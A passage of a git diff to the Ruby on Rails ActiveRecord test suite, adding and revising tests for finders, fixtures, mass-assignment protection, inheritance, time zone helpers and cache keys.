+  def test_find_without_primary_key
+    assert_raises(ActiveRecord::UnknownPrimaryKey) do
+      Matey.find(1)
     end
-  ensure
-    Toy.reset_primary_key
   end
 
   def test_finder_with_offset_string
-    assert_nothing_raised(ActiveRecord::StatementInvalid) { Topic.all.merge!(:offset => "3").to_a }
+    assert_nothing_raised(ActiveRecord::StatementInvalid) { Topic.offset("3").to_a }
+  end
+
+  test "find_by with hash conditions returns the first matching record" do
+    assert_equal posts(:eager_other), Post.find_by(id: posts(:eager_other).id)
+  end
+
+  test "find_by with non-hash conditions returns the first matching record" do
+    assert_equal posts(:eager_other), Post.find_by("id = #{posts(:eager_other).id}")
+  end
+
+  test "find_by with multi-arg conditions returns the first matching record" do
+    assert_equal posts(:eager_other), Post.find_by('id = ?', posts(:eager_other).id)
+  end
+
+  test "find_by returns nil if the record is missing" do
+    assert_equal nil, Post.find_by("1 = 0")
+  end
+
+  test "find_by with associations" do
+    assert_equal authors(:david), Post.find_by(author: authors(:david)).author
+    assert_equal authors(:mary) , Post.find_by(author: authors(:mary) ).author
+  end
+
+  test "find_by doesn't have implicit ordering" do
+    assert_sql(/^((?!ORDER).)*$/) { Post.find_by(id: posts(:eager_other).id) }
+  end
+
+  test "find_by! with hash conditions returns the first matching record" do
+    assert_equal posts(:eager_other), Post.find_by!(id: posts(:eager_other).id)
+  end
+
+  test "find_by! with non-hash conditions returns the first matching record" do
+    assert_equal posts(:eager_other), Post.find_by!("id = #{posts(:eager_other).id}")
+  end
+
+  test "find_by! with multi-arg conditions returns the first matching record" do
+    assert_equal posts(:eager_other), Post.find_by!('id = ?', posts(:eager_other).id)
+  end
+
+  test "find_by! doesn't have implicit ordering" do
+    assert_sql(/^((?!ORDER).)*$/) { Post.find_by!(id: posts(:eager_other).id) }
+  end
+
+  test "find_by! raises RecordNotFound if the record is missing" do
+    assert_raises(ActiveRecord::RecordNotFound) do
+      Post.find_by!("1 = 0")
+    end
+  end
+
+  test "find on a scope does not perform statement caching" do
+    honda = cars(:honda)
+    zyke = cars(:zyke)
+    tyre = honda.tyres.create!
+    tyre2 = zyke.tyres.create!
+
+    assert_equal tyre, honda.tyres.custom_find(tyre.id)
+    assert_equal tyre2, zyke.tyres.custom_find(tyre2.id)
+  end
+
+  test "find_by on a scope does not perform statement caching" do
+    honda = cars(:honda)
+    zyke = cars(:zyke)
+    tyre = honda.tyres.create!
+    tyre2 = zyke.tyres.create!
+
+    assert_equal tyre, honda.tyres.custom_find_by(id: tyre.id)
+    assert_equal tyre2, zyke.tyres.custom_find_by(id: tyre2.id)
   end
 
   protected
@@ -872,10 +1132,17 @@ class FinderTest < ActiveRecord::TestCase
       end
     end
 
-    def with_env_tz(new_tz = 'US/Eastern')
-      old_tz, ENV['TZ'] = ENV['TZ'], new_tz
-      yield
-    ensure
-      old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
+    def table_with_custom_primary_key
+      yield(Class.new(Toy) do
+        def self.name
+          'MercedesCar'
+        end
+      end)
     end
+
+    def assert_raises_with_message(exception_class, message, &block)
+      err = assert_raises(exception_class) { block.call }
+      assert_match message, err.message
+    end
+
 end
diff --git a/activerecord/test/cases/fixture_set/file_test.rb b/activerecord/test/cases/fixture_set/file_test.rb
index a029fedbd3..92efa8aca7 100644
--- a/activerecord/test/cases/fixture_set/file_test.rb
+++ b/activerecord/test/cases/fixture_set/file_test.rb
@@ -68,6 +68,61 @@ module ActiveRecord
         end
       end
 
+      def test_render_context_helper
+        ActiveRecord::FixtureSet.context_class.class_eval do
+          def fixture_helper
+            "Fixture helper"
+          end
+        end
+        yaml = "one:\n  name: <%= fixture_helper %>\n"
+        tmp_yaml ['curious', 'yml'], yaml do |t|
+          golden =
+              [["one", {"name" => "Fixture helper"}]]
+          assert_equal golden, File.open(t.path) { |fh| fh.to_a }
+        end
+        ActiveRecord::FixtureSet.context_class.class_eval do
+          remove_method :fixture_helper
+        end
+      end
+
+      def test_render_context_lookup_scope
+        yaml = <<END
+one:
+  ActiveRecord: <%= defined? ActiveRecord %>
+  ActiveRecord_FixtureSet: <%= defined? ActiveRecord::FixtureSet %>
+  FixtureSet: <%= defined? FixtureSet %>
+  ActiveRecord_FixtureSet_File: <%= defined? ActiveRecord::FixtureSet::File %>
+  File: <%= File.name %>
+END
+
+        golden = [['one', {
+          'ActiveRecord' => 'constant',
+          'ActiveRecord_FixtureSet' => 'constant',
+          'FixtureSet' => nil,
+          'ActiveRecord_FixtureSet_File' => 'constant',
+          'File' => 'File'
+        }]]
+
+        tmp_yaml ['curious', 'yml'], yaml do |t|
+          assert_equal golden, File.open(t.path) { |fh| fh.to_a }
+        end
+      end
+
+      # Make sure that each fixture gets its own rendering context so that
+      # fixtures are independent.
+      def test_independent_render_contexts
+        yaml1 = "<% def leaked_method; 'leak'; end %>\n"
+        yaml2 = "one:\n  name: <%= leaked_method %>\n"
+        tmp_yaml ['leaky', 'yml'], yaml1 do |t1|
+          tmp_yaml ['curious', 'yml'], yaml2 do |t2|
+            File.open(t1.path) { |fh| fh.to_a }
+            assert_raises(NameError) do
+              File.open(t2.path) { |fh| fh.to_a }
+            end
+          end
+        end
+      end
+
       private
       def tmp_yaml(name, contents)
         t = Tempfile.new name
diff --git a/activerecord/test/cases/fixtures_test.rb b/activerecord/test/cases/fixtures_test.rb
index 4e877aed2e..f41245dfd2 100644
--- a/activerecord/test/cases/fixtures_test.rb
+++ b/activerecord/test/cases/fixtures_test.rb
@@ -5,11 +5,13 @@ require 'models/admin/randomly_named_c1'
 require 'models/admin/user'
 require 'models/binary'
 require 'models/book'
+require 'models/bulb'
 require 'models/category'
 require 'models/company'
 require 'models/computer'
 require 'models/course'
 require 'models/developer'
+require 'models/computer'
 require 'models/joke'
 require 'models/matey'
 require 'models/parrot'
@@ -247,7 +249,8 @@ class FixturesTest < ActiveRecord::TestCase
   end
 
   def test_fixtures_are_set_up_with_database_env_variable
-    ENV.stubs(:[]).with("DATABASE_URL").returns("sqlite3:///:memory:")
+    db_url_tmp = ENV['DATABASE_URL']
+    ENV['DATABASE_URL'] = "sqlite3::memory:"
     ActiveRecord::Base.stubs(:configurations).returns({})
     test_case = Class.new(ActiveRecord::TestCase) do
       fixtures :accounts
@@ -260,6 +263,43 @@ class FixturesTest < ActiveRecord::TestCase
     result = test_case.new(:test_fixtures).run
 
     assert result.passed?, "Expected #{result.name} to pass:\n#{result}"
+  ensure
+    ENV['DATABASE_URL'] = db_url_tmp
+  end
+end
+
+class HasManyThroughFixture < ActiveSupport::TestCase
+  def make_model(name)
+    Class.new(ActiveRecord::Base) { define_singleton_method(:name) { name } }
+  end
+
+  def test_has_many_through
+    pt = make_model "ParrotTreasure"
+    parrot = make_model "Parrot"
+    treasure = make_model "Treasure"
+
+    pt.table_name = "parrots_treasures"
+    pt.belongs_to :parrot, :class => parrot
+    pt.belongs_to :treasure, :class => treasure
+
+    parrot.has_many :parrot_treasures, :class => pt
+    parrot.has_many :treasures, :through => :parrot_treasures
+
+    parrots = File.join FIXTURES_ROOT, 'parrots'
+
+    fs = ActiveRecord::FixtureSet.new parrot.connection, "parrots", parrot, parrots
+    rows = fs.table_rows
+    assert_equal load_has_and_belongs_to_many['parrots_treasures'], rows['parrots_treasures']
+  end
+
+  def load_has_and_belongs_to_many
+    parrot = make_model "Parrot"
+    parrot.has_and_belongs_to_many :treasures
+
+    parrots = File.join FIXTURES_ROOT, 'parrots'
+
+    fs = ActiveRecord::FixtureSet.new parrot.connection, "parrots", parrot, parrots
+    fs.table_rows
   end
 end
 
@@ -580,24 +620,33 @@ class FixturesBrokenRollbackTest < ActiveRecord::TestCase
 end
 
 class LoadAllFixturesTest < ActiveRecord::TestCase
-  self.fixture_path = FIXTURES_ROOT + "/all"
-  fixtures :all
-
   def test_all_there
-    assert_equal %w(admin/accounts admin/users developers people tasks), fixture_table_names.sort
+    self.class.fixture_path = FIXTURES_ROOT + "/all"
+    self.class.fixtures :all
+
+    if File.symlink? FIXTURES_ROOT + "/all/admin"
+      assert_equal %w(admin/accounts admin/users developers people tasks), fixture_table_names.sort
+    end
+  ensure
+    ActiveRecord::FixtureSet.reset_cache
   end
 end
 
 class LoadAllFixturesWithPathnameTest < ActiveRecord::TestCase
-  self.fixture_path = Pathname.new(FIXTURES_ROOT).join('all')
-  fixtures :all
-
   def test_all_there
-    assert_equal %w(admin/accounts admin/users developers people tasks), fixture_table_names.sort
+    self.class.fixture_path = Pathname.new(FIXTURES_ROOT).join('all')
+    self.class.fixtures :all
+
+    if File.symlink? FIXTURES_ROOT + "/all/admin"
+      assert_equal %w(admin/accounts admin/users developers people tasks), fixture_table_names.sort
+    end
+  ensure
+    ActiveRecord::FixtureSet.reset_cache
   end
 end
 
 class FasterFixturesTest < ActiveRecord::TestCase
+  self.use_transactional_fixtures = false
   fixtures :categories, :authors
 
   def load_extra_fixture(name)
@@ -623,7 +672,14 @@ class FasterFixturesTest < ActiveRecord::TestCase
 end
 
 class FoxyFixturesTest < ActiveRecord::TestCase
-  fixtures :parrots, :parrots_pirates, :pirates, :treasures, :mateys, :ships, :computers, :developers, :"admin/accounts", :"admin/users"
+  fixtures :parrots, :parrots_pirates, :pirates, :treasures, :mateys, :ships, :computers,
+           :developers, :"admin/accounts", :"admin/users", :live_parrots, :dead_parrots
+
+  if ActiveRecord::Base.connection.adapter_name == 'PostgreSQL'
+    require 'models/uuid_parent'
+    require 'models/uuid_child'
+    fixtures :uuid_parents, :uuid_children
+  end
 
   def test_identifies_strings
     assert_equal(ActiveRecord::FixtureSet.identify("foo"), ActiveRecord::FixtureSet.identify("foo"))
@@ -637,6 +693,9 @@ class FoxyFixturesTest < ActiveRecord::TestCase
   def test_identifies_consistently
     assert_equal 207281424, ActiveRecord::FixtureSet.identify(:ruby)
     assert_equal 1066363776, ActiveRecord::FixtureSet.identify(:sapphire_2)
+
+    assert_equal 'f92b6bda-0d0d-5fe1-9124-502b18badded', ActiveRecord::FixtureSet.identify(:daddy, :uuid)
+    assert_equal 'b4b10018-ad47-595d-b42f-d8bdaa6d01bf', ActiveRecord::FixtureSet.identify(:sonny, :uuid)
   end
 
   TIMESTAMP_COLUMNS = %w(created_at created_on updated_at updated_on)
@@ -730,6 +789,14 @@ class FoxyFixturesTest < ActiveRecord::TestCase
     assert_equal("frederick", parrots(:frederick).name)
   end
 
+  def test_supports_label_string_interpolation
+    assert_equal("X marks the spot!", pirates(:mark).catchphrase)
+  end
+
+  def test_supports_label_interpolation_for_fixnum_label
+    assert_equal("#1 pirate!", pirates(1).catchphrase)
+  end
+
   def test_supports_polymorphic_belongs_to
     assert_equal(pirates(:redbeard), treasures(:sapphire).looter)
     assert_equal(parrots(:louis), treasures(:ruby).looter)
@@ -746,6 +813,12 @@ class FoxyFixturesTest < ActiveRecord::TestCase
     assert_equal pirates(:blackbeard), parrots(:polly).killer
   end
 
+  def test_supports_sti_with_respective_files
+    assert_kind_of LiveParrot, live_parrots(:dusty)
+    assert_kind_of DeadParrot, dead_parrots(:deadbird)
+    assert_equal pirates(:blackbeard), dead_parrots(:deadbird).killer
+  end
+
   def test_namespaced_models
     assert admin_accounts(:signals37).users.include?(admin_users(:david))
     assert_equal 2, admin_accounts(:signals37).users.size
@@ -762,29 +835,15 @@ class ActiveSupportSubclassWithFixturesTest < ActiveRecord::TestCase
   end
 end
 
-class FixtureLoadingTest < ActiveRecord::TestCase
-  def test_logs_message_for_failed_dependency_load
-    ActiveRecord::TestCase.expects(:require_dependency).with(:does_not_exist).raises(LoadError)
-    ActiveRecord::Base.logger.expects(:warn)
-    ActiveRecord::TestCase.try_to_load_dependency(:does_not_exist)
-  end
-
-  def test_does_not_logs_message_for_successful_dependency_load
-    ActiveRecord::TestCase.expects(:require_dependency).with(:works_out_fine)
-    ActiveRecord::Base.logger.expects(:warn).never
-    ActiveRecord::TestCase.try_to_load_dependency(:works_out_fine)
-  end
-end
-
 class CustomNameForFixtureOrModelTest < ActiveRecord::TestCase
   ActiveRecord::FixtureSet.reset_cache
 
   set_fixture_class :randomly_named_a9         =>
                         ClassNameThatDoesNotFollowCONVENTIONS,
                     :'admin/randomly_named_a9' =>
-                        Admin::ClassNameThatDoesNotFollowCONVENTIONS,
+                        Admin::ClassNameThatDoesNotFollowCONVENTIONS1,
                     'admin/randomly_named_b0'  =>
-                        Admin::ClassNameThatDoesNotFollowCONVENTIONS
+                        Admin::ClassNameThatDoesNotFollowCONVENTIONS2
 
   fixtures :randomly_named_a9, 'admin/randomly_named_a9',
            :'admin/randomly_named_b0'
@@ -795,14 +854,27 @@ class CustomNameForFixtureOrModelTest < ActiveRecord::TestCase
   end
 
   def test_named_accessor_for_randomly_named_namespaced_fixture_and_class
-    assert_kind_of Admin::ClassNameThatDoesNotFollowCONVENTIONS,
+    assert_kind_of Admin::ClassNameThatDoesNotFollowCONVENTIONS1,
                    admin_randomly_named_a9(:first_instance)
-    assert_kind_of Admin::ClassNameThatDoesNotFollowCONVENTIONS,
+    assert_kind_of Admin::ClassNameThatDoesNotFollowCONVENTIONS2,
                    admin_randomly_named_b0(:second_instance)
   end
 
   def test_table_name_is_defined_in_the_model
-    assert_equal 'randomly_named_table', ActiveRecord::FixtureSet::all_loaded_fixtures["admin/randomly_named_a9"].table_name
-    assert_equal 'randomly_named_table', Admin::ClassNameThatDoesNotFollowCONVENTIONS.table_name
+    assert_equal 'randomly_named_table2', ActiveRecord::FixtureSet::all_loaded_fixtures["admin/randomly_named_a9"].table_name
+    assert_equal 'randomly_named_table2', Admin::ClassNameThatDoesNotFollowCONVENTIONS1.table_name
+  end
+end
+
+class FixturesWithDefaultScopeTest < ActiveRecord::TestCase
+  fixtures :bulbs
+
+  test "inserts fixtures excluded by a default scope" do
+    assert_equal 1, Bulb.count
+    assert_equal 2, Bulb.unscoped.count
+  end
+
+  test "allows access to fixtures excluded by a default scope" do
+    assert_equal "special", bulbs(:special).name
   end
 end
diff --git a/activerecord/test/cases/forbidden_attributes_protection_test.rb b/activerecord/test/cases/forbidden_attributes_protection_test.rb
index 490b599fb6..f4e7646f03 100644
--- a/activerecord/test/cases/forbidden_attributes_protection_test.rb
+++ b/activerecord/test/cases/forbidden_attributes_protection_test.rb
@@ -61,4 +61,39 @@ class ForbiddenAttributesProtectionTest < ActiveRecord::TestCase
     assert_equal 'Guille', person.first_name
     assert_equal 'm', person.gender
   end
+
+  def test_blank_attributes_should_not_raise
+    person = Person.new
+    assert_nil person.assign_attributes(ProtectedParams.new({}))
+  end
+
+  def test_create_with_checks_permitted
+    params = ProtectedParams.new(first_name: 'Guille', gender: 'm')
+
+    assert_raises(ActiveModel::ForbiddenAttributesError) do
+      Person.create_with(params).create!
+    end
+  end
+
+  def test_create_with_works_with_params_values
+    params = ProtectedParams.new(first_name: 'Guille')
+
+    person = Person.create_with(first_name: params[:first_name]).create!
+    assert_equal 'Guille', person.first_name
+  end
+
+  def test_where_checks_permitted
+    params = ProtectedParams.new(first_name: 'Guille', gender: 'm')
+
+    assert_raises(ActiveModel::ForbiddenAttributesError) do
+      Person.where(params).create!
+    end
+  end
+
+  def test_where_works_with_params_values
+    params = ProtectedParams.new(first_name: 'Guille')
+
+    person = Person.where(first_name: params[:first_name]).create!
+    assert_equal 'Guille', person.first_name
+  end
 end
diff --git a/activerecord/test/cases/helper.rb b/activerecord/test/cases/helper.rb
index f96978aff8..f1f927852c 100644
--- a/activerecord/test/cases/helper.rb
+++ b/activerecord/test/cases/helper.rb
@@ -9,6 +9,7 @@ require 'active_record'
 require 'cases/test_case'
 require 'active_support/dependencies'
 require 'active_support/logger'
+require 'active_support/core_ext/string/strip'
 
 require 'support/config'
 require 'support/connection'
@@ -20,12 +21,18 @@ Thread.abort_on_exception = true
 # Show backtraces for deprecated behavior for quicker cleanup.
 ActiveSupport::Deprecation.debug = true
 
+# Disable available locale checks to avoid warnings running the test suite.
+I18n.enforce_available_locales = false
+
 # Connect to the database
 ARTest.connect
 
 # Quote "type" if it's a reserved word for the current connection.
 QUOTED_TYPE = ActiveRecord::Base.connection.quote_column_name('type')
 
+# FIXME: Remove this when the deprecation cycle on TZ aware types by default ends.
+ActiveRecord::Base.time_zone_aware_types << :time
+
 def current_adapter?(*types)
   types.any? do |type|
     ActiveRecord::ConnectionAdapters.const_defined?(type) &&
@@ -38,6 +45,15 @@ def in_memory_db?
   ActiveRecord::Base.connection_pool.spec.config[:database] == ":memory:"
 end
 
+def mysql_56?
+  current_adapter?(:Mysql2Adapter) &&
+    ActiveRecord::Base.connection.send(:version).join(".") >= "5.6.0"
+end
+
+def mysql_enforcing_gtid_consistency?
+  current_adapter?(:MysqlAdapter, :Mysql2Adapter) && 'ON' == ActiveRecord::Base.connection.show_variable('enforce_gtid_consistency')
+end
+
 def supports_savepoints?
   ActiveRecord::Base.connection.supports_savepoints?
 end
@@ -49,26 +65,77 @@ ensure
   old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
 end
 
-def with_active_record_default_timezone(zone)
-  old_zone, ActiveRecord::Base.default_timezone = ActiveRecord::Base.default_timezone, zone
+def with_timezone_config(cfg)
+  verify_default_timezone_config
+
+  old_default_zone = ActiveRecord::Base.default_timezone
+  old_awareness = ActiveRecord::Base.time_zone_aware_attributes
+  old_zone = Time.zone
+
+  if cfg.has_key?(:default)
+    ActiveRecord::Base.default_timezone = cfg[:default]
+  end
+  if cfg.has_key?(:aware_attributes)
+    ActiveRecord::Base.time_zone_aware_attributes = cfg[:aware_attributes]
+  end
+  if cfg.has_key?(:zone)
+    Time.zone = cfg[:zone]
+  end
   yield
 ensure
-  ActiveRecord::Base.default_timezone = old_zone
+  ActiveRecord::Base.default_timezone = old_default_zone
+  ActiveRecord::Base.time_zone_aware_attributes = old_awareness
+  Time.zone = old_zone
 end
 
-unless ENV['FIXTURE_DEBUG']
-  module ActiveRecord::TestFixtures::ClassMethods
-    def try_to_load_dependency_with_silence(*args)
-      old = ActiveRecord::Base.logger.level
-      ActiveRecord::Base.logger.level = ActiveSupport::Logger::ERROR
-      try_to_load_dependency_without_silence(*args)
-      ActiveRecord::Base.logger.level = old
-    end
-
-    alias_method_chain :try_to_load_dependency, :silence
+# This method makes sure that tests don't leak global state related to time zones.
+EXPECTED_ZONE = nil
+EXPECTED_DEFAULT_TIMEZONE = :utc
+EXPECTED_TIME_ZONE_AWARE_ATTRIBUTES = false
+def verify_default_timezone_config
+  if Time.zone != EXPECTED_ZONE
+    $stderr.puts <<-MSG
+\n#{self}
+    Global state `Time.zone` was leaked.
+      Expected: #{EXPECTED_ZONE}
+      Got: #{Time.zone}
+    MSG
+  end
+  if ActiveRecord::Base.default_timezone != EXPECTED_DEFAULT_TIMEZONE
+    $stderr.puts <<-MSG
+\n#{self}
+    Global state `ActiveRecord::Base.default_timezone` was leaked.
+      Expected: #{EXPECTED_DEFAULT_TIMEZONE}
+      Got: #{ActiveRecord::Base.default_timezone}
+    MSG
+  end
+  if ActiveRecord::Base.time_zone_aware_attributes != EXPECTED_TIME_ZONE_AWARE_ATTRIBUTES
+    $stderr.puts <<-MSG
+\n#{self}
+    Global state `ActiveRecord::Base.time_zone_aware_attributes` was leaked.
+      Expected: #{EXPECTED_TIME_ZONE_AWARE_ATTRIBUTES}
+      Got: #{ActiveRecord::Base.time_zone_aware_attributes}
+    MSG
   end
 end
 
+def enable_extension!(extension, connection)
+  return false unless connection.supports_extensions?
+  return connection.reconnect! if connection.extension_enabled?(extension)
+
+  connection.enable_extension extension
+  connection.commit_db_transaction if connection.transaction_open?
+  connection.reconnect!
+end
+
+def disable_extension!(extension, connection)
+  return false unless connection.supports_extensions?
+  return true unless connection.extension_enabled?(extension)
+
+  connection.disable_extension extension
+  connection.reconnect!
+end
+
 require "cases/validations_repair_helper"
 class ActiveSupport::TestCase
   include ActiveRecord::TestFixtures
@@ -93,7 +160,7 @@ def load_schema
 
   load SCHEMA_ROOT + "/schema.rb"
 
-  if File.exists?(adapter_specific_schema_file)
+  if File.exist?(adapter_specific_schema_file)
     load adapter_specific_schema_file
   end
 ensure
@@ -102,36 +169,21 @@ end
 
 load_schema
 
-class << Time
-  unless method_defined? :now_before_time_travel
-    alias_method :now_before_time_travel, :now
-  end
+class SQLSubscriber
+  attr_reader :logged
+  attr_reader :payloads
 
-  def now
-    (@now ||= nil) || now_before_time_travel
+  def initialize
+    @logged = []
+    @payloads = []
   end
 
-  def travel_to(time, &block)
-    @now = time
-    block.call
-  ensure
-    @now = nil
+  def start(name, id, payload)
+    @payloads << payload
+    @logged << [payload[:sql].squish, payload[:name], payload[:binds]]
   end
-end
 
-module LogIntercepter
-  attr_accessor :logged, :intercepted
-  def self.extended(base)
-    base.logged = []
-  end
-  def log(sql, name = 'SQL', binds = [], &block)
-    if @intercepted
-      @logged << [sql, name, binds]
-      yield
-    else
-      super(sql, name,binds, &block)
-    end
-  end
+  def finish(name, id, payload); end
 end
 
 module InTimeZone
@@ -149,3 +201,10 @@ module InTimeZone
     ActiveRecord::Base.time_zone_aware_attributes = old_tz
   end
 end
+
+require 'mocha/setup' # FIXME: stop using mocha
+
+# FIXME: we have tests that depend on run order, we should fix that and
+# remove this method call.
+require 'active_support/test_case'
+ActiveSupport::TestCase.test_order = :sorted
diff --git a/activerecord/test/cases/hot_compatibility_test.rb b/activerecord/test/cases/hot_compatibility_test.rb
index 96e581ab4c..b4617cf6f9 100644
--- a/activerecord/test/cases/hot_compatibility_test.rb
+++ b/activerecord/test/cases/hot_compatibility_test.rb
@@ -5,7 +5,7 @@ class HotCompatibilityTest < ActiveRecord::TestCase
 
   setup do
     @klass = Class.new(ActiveRecord::Base) do
-      connection.create_table :hot_compatibilities do |t|
+      connection.create_table :hot_compatibilities, force: true do |t|
         t.string :foo
         t.string :bar
       end
@@ -15,7 +15,7 @@ class HotCompatibilityTest < ActiveRecord::TestCase
   end
 
   teardown do
-    @klass.connection.drop_table :hot_compatibilities
+    ActiveRecord::Base.connection.drop_table :hot_compatibilities
   end
 
   test "insert after remove_column" do
diff --git a/activerecord/test/cases/inheritance_test.rb b/activerecord/test/cases/inheritance_test.rb
index a9be132801..6b18bfe84f 100644
--- a/activerecord/test/cases/inheritance_test.rb
+++ b/activerecord/test/cases/inheritance_test.rb
@@ -1,10 +1,11 @@
-require "cases/helper"
+require 'cases/helper'
 require 'models/company'
 require 'models/person'
 require 'models/post'
 require 'models/project'
 require 'models/subscriber'
 require 'models/vegetables'
+require 'models/shop'
 
 class InheritanceTest < ActiveRecord::TestCase
   fixtures :companies, :projects, :subscribers, :accounts, :vegetables
@@ -21,7 +22,7 @@ class InheritanceTest < ActiveRecord::TestCase
     company = Company.first
     company = company.dup
     company.extend(Module.new {
-      def read_attribute(name)
+      def _read_attribute(name)
         return '  ' if name == 'type'
         super
       end
@@ -94,16 +95,8 @@ class InheritanceTest < ActiveRecord::TestCase
   end
 
   def test_a_bad_type_column
-    #SQLServer need to turn Identity Insert On before manually inserting into the Identity column
-    if current_adapter?(:SybaseAdapter)
-      Company.connection.execute "SET IDENTITY_INSERT companies ON"
-    end
     Company.connection.insert "INSERT INTO companies (id, #{QUOTED_TYPE}, name) VALUES(100, 'bad_class!', 'Not happening')"
 
-    #We then need to turn it back Off before continuing.
-    if current_adapter?(:SybaseAdapter)
-      Company.connection.execute "SET IDENTITY_INSERT companies OFF"
-    end
     assert_raise(ActiveRecord::SubclassNotFound) { Company.find(100) }
   end
 
@@ -128,6 +121,17 @@ class InheritanceTest < ActiveRecord::TestCase
     assert_kind_of Cabbage, cabbage
   end
 
+  def test_alt_becomes_bang_resets_inheritance_type_column
+    vegetable = Vegetable.create!(name: "Red Pepper")
+    assert_nil vegetable.custom_type
+
+    cabbage = vegetable.becomes!(Cabbage)
+    assert_equal "Cabbage", cabbage.custom_type
+
+    vegetable = cabbage.becomes!(Vegetable)
+    assert_nil cabbage.custom_type
+  end
+
   def test_inheritance_find_all
     companies = Company.all.merge!(:order => 'id').to_a
     assert_kind_of Firm, companies[0], "37signals should be a firm"
@@ -176,14 +180,14 @@ class InheritanceTest < ActiveRecord::TestCase
     e = assert_raises(NotImplementedError) do
       AbstractCompany.new
     end
-    assert_equal("AbstractCompany is an abstract class and can not be instantiated.", e.message)
+    assert_equal("AbstractCompany is an abstract class and cannot be instantiated.", e.message)
   end
 
   def test_new_with_ar_base
     e = assert_raises(NotImplementedError) do
       ActiveRecord::Base.new
     end
-    assert_equal("ActiveRecord::Base is an abstract class and can not be instantiated.", e.message)
+    assert_equal("ActiveRecord::Base is an abstract class and cannot be instantiated.", e.message)
   end
 
   def test_new_with_invalid_type
@@ -210,9 +214,9 @@ class InheritanceTest < ActiveRecord::TestCase
   end
 
   def test_inheritance_condition
-    assert_equal 10, Company.count
+    assert_equal 11, Company.count
     assert_equal 2, Firm.count
-    assert_equal 4, Client.count
+    assert_equal 5, Client.count
   end
 
   def test_alt_inheritance_condition
@@ -290,17 +294,17 @@ class InheritanceTest < ActiveRecord::TestCase
 
   def test_eager_load_belongs_to_something_inherited
     account = Account.all.merge!(:includes => :firm).find(1)
-    assert account.association_cache.key?(:firm), "nil proves eager load failed"
+    assert account.association(:firm).loaded?, "association was not eager loaded"
   end
 
   def test_alt_eager_loading
     cabbage = RedCabbage.all.merge!(:includes => :seller).find(4)
-    assert cabbage.association_cache.key?(:seller), "nil proves eager load failed"
+    assert cabbage.association(:seller).loaded?, "association was not eager loaded"
   end
 
   def test_eager_load_belongs_to_primary_key_quoting
     con = Account.connection
-    assert_sql(/#{con.quote_table_name('companies')}.#{con.quote_column_name('id')} IN \(1\)/) do
+    assert_sql(/#{con.quote_table_name('companies')}.#{con.quote_column_name('id')} = 1/) do
       Account.all.merge!(:includes => :firm).find(1)
     end
   end
@@ -313,8 +317,12 @@ class InheritanceTest < ActiveRecord::TestCase
     assert_kind_of SpecialSubscriber, SpecialSubscriber.find("webster132")
     assert_nothing_raised { s = SpecialSubscriber.new("name" => "And breaaaaathe!"); s.id = 'roger'; s.save }
   end
-end
 
+  def test_scope_inherited_properly
+    assert_nothing_raised { Company.of_first_firm }
+    assert_nothing_raised { Client.of_first_firm }
+  end
+end
 
 class InheritanceComputeTypeTest < ActiveRecord::TestCase
   fixtures :companies
@@ -323,7 +331,7 @@ class InheritanceComputeTypeTest < ActiveRecord::TestCase
     ActiveSupport::Dependencies.log_activity = true
   end
 
-  def teardown
+  teardown do
     ActiveSupport::Dependencies.log_activity = false
     self.class.const_remove :FirmOnTheFly rescue nil
     Firm.const_remove :FirmOnTheFly rescue nil
@@ -352,4 +360,10 @@ class InheritanceComputeTypeTest < ActiveRecord::TestCase
   ensure
     ActiveRecord::Base.store_full_sti_class = true
   end
+
+  def test_sti_type_from_attributes_disabled_in_non_sti_class
+    phone = Shop::Product::Type.new(name: 'Phone')
+    product = Shop::Product.new(:type => phone)
+    assert product.save
+  end
 end
diff --git a/activerecord/test/cases/integration_test.rb b/activerecord/test/cases/integration_test.rb
index f5daca2fa8..018b7b0d8f 100644
--- a/activerecord/test/cases/integration_test.rb
+++ b/activerecord/test/cases/integration_test.rb
@@ -1,11 +1,13 @@
+
 require 'cases/helper'
 require 'models/company'
 require 'models/developer'
-require 'models/car'
-require 'models/bulb'
+require 'models/computer'
+require 'models/owner'
+require 'models/pet'
 
 class IntegrationTest < ActiveRecord::TestCase
-  fixtures :companies, :developers
+  fixtures :companies, :developers, :owners, :pets
 
   def test_to_param_should_return_string
     assert_kind_of String, Client.first.to_param
@@ -22,18 +24,59 @@ class IntegrationTest < ActiveRecord::TestCase
     assert_equal '1', client.to_param
   end
 
-  def test_cache_key_for_existing_record_is_not_timezone_dependent
-    ActiveRecord::Base.time_zone_aware_attributes = true
+  def test_to_param_class_method
+    firm = Firm.find(4)
+    assert_equal '4-flamboyant-software', firm.to_param
+  end
 
-    Time.zone = 'UTC'
-    utc_key = Developer.first.cache_key
+  def test_to_param_class_method_truncates
+    firm = Firm.find(4)
+    firm.name = 'a ' * 100
+    assert_equal '4-a-a-a-a-a-a-a-a-a', firm.to_param
+  end
+
+  def test_to_param_class_method_truncates_edge_case
+    firm = Firm.find(4)
+    firm.name = 'David HeinemeierHansson'
+    assert_equal '4-david', firm.to_param
+  end
+
+  def test_to_param_class_method_squishes
+    firm = Firm.find(4)
+    firm.name = "ab \n" * 100
+    assert_equal '4-ab-ab-ab-ab-ab-ab', firm.to_param
+  end
+
+  def test_to_param_class_method_multibyte_character
+    firm = Firm.find(4)
+    firm.name = "戦場ヶ原 ひたぎ"
+    assert_equal '4', firm.to_param
+  end
 
-    Time.zone = 'EST'
-    est_key = Developer.first.cache_key
+  def test_to_param_class_method_uses_default_if_blank
+    firm = Firm.find(4)
+    firm.name = nil
+    assert_equal '4', firm.to_param
+    firm.name = ' '
+    assert_equal '4', firm.to_param
+  end
+
+  def test_to_param_class_method_uses_default_if_not_persisted
+    firm = Firm.new(name: 'Fancy Shirts')
+    assert_equal nil, firm.to_param
+  end
 
-    assert_equal utc_key, est_key
-  ensure
-    Time.zone = 'UTC'
+  def test_to_param_with_no_arguments
+    assert_equal 'Firm', Firm.to_param
+  end
+
+  def test_cache_key_for_existing_record_is_not_timezone_dependent
+    utc_key = Developer.first.cache_key
+
+    with_timezone_config zone: "EST" do
+      est_key = Developer.first.cache_key
+      assert_equal utc_key, est_key
+    end
   end
 
   def test_cache_key_format_for_existing_record_with_updated_at
@@ -47,13 +90,14 @@ class IntegrationTest < ActiveRecord::TestCase
   end
 
   def test_cache_key_changes_when_child_touched
-    car = Car.create
-    Bulb.create(car: car)
+    owner = owners(:blackbeard)
+    pet   = pets(:parrot)
+
+    owner.update_column :updated_at, Time.current
+    key = owner.cache_key
 
-    key = car.cache_key
-    car.bulb.touch
-    car.reload
-    assert_not_equal key, car.cache_key
+    assert pet.touch
